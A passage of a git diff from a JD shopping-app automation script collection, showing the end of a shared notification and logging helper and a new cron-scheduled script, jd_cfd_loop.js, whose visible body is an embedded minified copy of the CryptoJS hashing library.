(!t) return t; + if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? {"open-url": t} : this.isSurge() ? {url: t} : void 0; + if ("object" == typeof t) { + if (this.isLoon()) { + let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; + return {openUrl: e, mediaUrl: s} + } + if (this.isQuanX()) { + let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; + return {"open-url": e, "media-url": s} + } + if (this.isSurge()) { + let e = t.url || t.openUrl || t["open-url"]; + return {url: e} + } + } + }; + if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { + let t = ["", "==============\ud83d\udce3\u7cfb\u7edf\u901a\u77e5\ud83d\udce3=============="]; + t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) + } + } + + log(...t) { + t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) + } + + logErr(t, e) { + const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); + s ? this.log("", `\u2757\ufe0f${this.name}, \u9519\u8bef!`, t.stack) : this.log("", `\u2757\ufe0f${this.name}, \u9519\u8bef!`, t) + } + + wait(t) { + return new Promise(e => setTimeout(e, t)) + } + + done(t = {}) { + const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; + this.log("", `\ud83d\udd14${this.name}, \u7ed3\u675f! \ud83d\udd5b ${s} \u79d2`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) + } + }(t, e) +} + diff --git a/jd_cfd_loop.js b/jd_cfd_loop.js new file mode 100644 index 0000000..f02b5e8 --- /dev/null +++ b/jd_cfd_loop.js @@ -0,0 +1,444 @@ +/* +京喜财富岛热气球 +cron 30 * * * * jd_cfd_loop.js +活动入口:京喜APP-我的-京喜财富岛 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#京喜财富岛热气球 +30 * * * * https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd_loop.js, tag=京喜财富岛热气球, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jxcfd.png, enabled=true +================Loon============== +[Script] +cron "30 * * * *" script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd_loop.js,tag=京喜财富岛热气球 +===============Surge================= +京喜财富岛热气球 = type=cron,cronexp="30 * * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd_loop.js +============小火箭========= +京喜财富岛热气球 = type=cron,script-path=https://raw.githubusercontent.com/Aaron-lv/sync/jd_scripts/jd_cfd_loop.js, cronexpr="30 * * * *", timeout=3600, enable=true + */ +!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { + var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), 